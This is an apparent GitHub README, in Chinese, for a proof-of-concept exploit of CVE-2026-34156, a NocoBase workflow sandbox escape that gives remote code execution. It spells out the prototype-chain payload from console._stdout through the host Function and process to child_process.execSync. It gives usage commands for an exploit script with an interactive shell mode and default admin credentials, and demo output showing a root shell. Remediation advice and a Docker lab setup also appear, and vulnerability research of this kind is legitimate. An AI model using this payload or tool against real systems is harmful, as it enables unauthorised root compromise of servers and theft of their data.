franckboumendil/CVE-2026-34156
GitHub: franckboumendil/CVE-2026-34156
该项目提供了一个针对 NocoBase 低版本沙箱逃逸漏洞的利用脚本,能够通过原型链遍历实现远程代码执行。
Stars: 0 | Forks: 0
# CVE-2026-34156 — NocoBase 沙箱逃逸导致 RCE
## 描述
NocoBase 的工作流脚本节点在 Node.js `vm` 沙箱中执行用户提供的 JavaScript。传递到沙箱上下文中的 `console` 对象通过 `console._stdout` 和 `console._stderr` 暴露了主机领域的 `WritableWorkerStdio` 流对象。
经过身份验证的攻击者可以遍历原型链以逃逸沙箱,并实现以 root 身份执行的远程代码执行(RCE)。
## 漏洞详情
| 字段 | 值 |
|---------------|----------------------------------------------------------------------|
| CVE | CVE-2026-34156 |
| GHSA | GHSA-px3p-vgh9-m57c |
| 产品 | NocoBase |
| 受影响版本 | <= 2.0.27 |
| 修复版本 | 2.0.28 |
| CVSS | 9.9 严重 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-913 — 动态管理代码资源的控制不当 |
| 需要身份验证 | 是(任何经过身份验证的用户) |
## 利用链
console._stdout → 主机领域 WritableWorkerStdio
.constructor → WritableWorkerStdio 类
.constructor → 主机领域 Function()(沙箱外部)
('return process')() → 真实的 Node.js process 对象
.mainModule.require('child_process') → 不受限制的模块访问
.execSync('id') → 以 root 身份执行 RCE
## 环境要求
- Python 3.x
- `requests` 库
```
pip3 install requests
```
## 使用方法
```
\# Single command
python3 exploit.py -t http://target:3000 -c "id"
\# Interactive shell (default when no -c specified)
python3 exploit.py -t http://target:3000
\# Custom credentials
python3 exploit.py -t http://target:3000 -u user@example.com -p password -c "whoami"
```
选项:
-t, --target 目标 URL (例如 http://localhost:3000)
-u, --username 用户名 (默认: admin@nocobase.com)
-p, --password 密码 (默认: admin123)
-c, --cmd 单条命令 (如果省略则为交互式 shell)
## 演示
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-34156 — NocoBase RCE PoC ║
║ Sandbox Escape via console._stdout prototype chain ║
║ Affected: <= 2.0.27 | Fixed: 2.0.28 ║
╚══════════════════════════════════════════════════════════════╝
[] Target : http://localhost:3000
[] Username : admin@nocobase.com
[+] Authentication successful — JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[*] Checking RCE...
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
[*] Interactive shell mode (type 'exit' to quit)
shell> whoami
[+] Output:
root
## 实验室环境搭建 (Docker)
```
\# Start vulnerable instance
docker run -d \\
--name nocobase-vuln \\
-p 3000:80 \\
-e APP\_KEY=test-key \\
-e DB\_DIALECT=sqlite \\
nocobase/nocobase:2.0.26
\# Wait \~30 seconds then run the exploit
python3 exploit.py -t http://localhost:3000 -c "id"
```
## 修复建议
- 升级到 **NocoBase 2.0.28** 或更高版本
- 使用 `isolated-vm` 替换 Node.js `vm` 模块,以实现真正的 V8 隔离
- 不要将主机 `console` 对象传递到沙箱中
- 在 Docker 内以非 root 用户运行应用程序
- 将 `/api/flow_nodes:test` 限制为仅管理员角色
## 参考资料
- [GitHub Advisory GHSA-px3p-vgh9-m57c](https://github.com/advisories/GHSA-px3p-vgh9-m57c)
- [NocoBase Security Advisory](https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c)
- [NVD CVE-2026-34156](https://nvd.nist.gov/vuln/detail/CVE-2026-34156)
- **PoC 实现**: [Franck Boumendil]
## 免责声明
此 PoC **仅供教育和授权安全测试目的使用**。
仅对您拥有或已获得明确书面许可进行测试的系统使用。
未经授权访问计算机系统是非法的。作者不对误用承担任何责任。
标签:CISA项目, CMS安全, CVE-2026-34156, CWE-913, EXP, GNU通用公共许可证, Go语言工具, JavaScript, MITM代理, NocoBase, Node.js, POC, RCE, Root权限, vm2, Web安全, 原型链污染, 字符串匹配, 安全漏洞, 工作流脚本, 沙箱逃逸, 编程工具, 蓝队分析, 认证绕过, 请求拦截, 远程代码执行, 逆向工具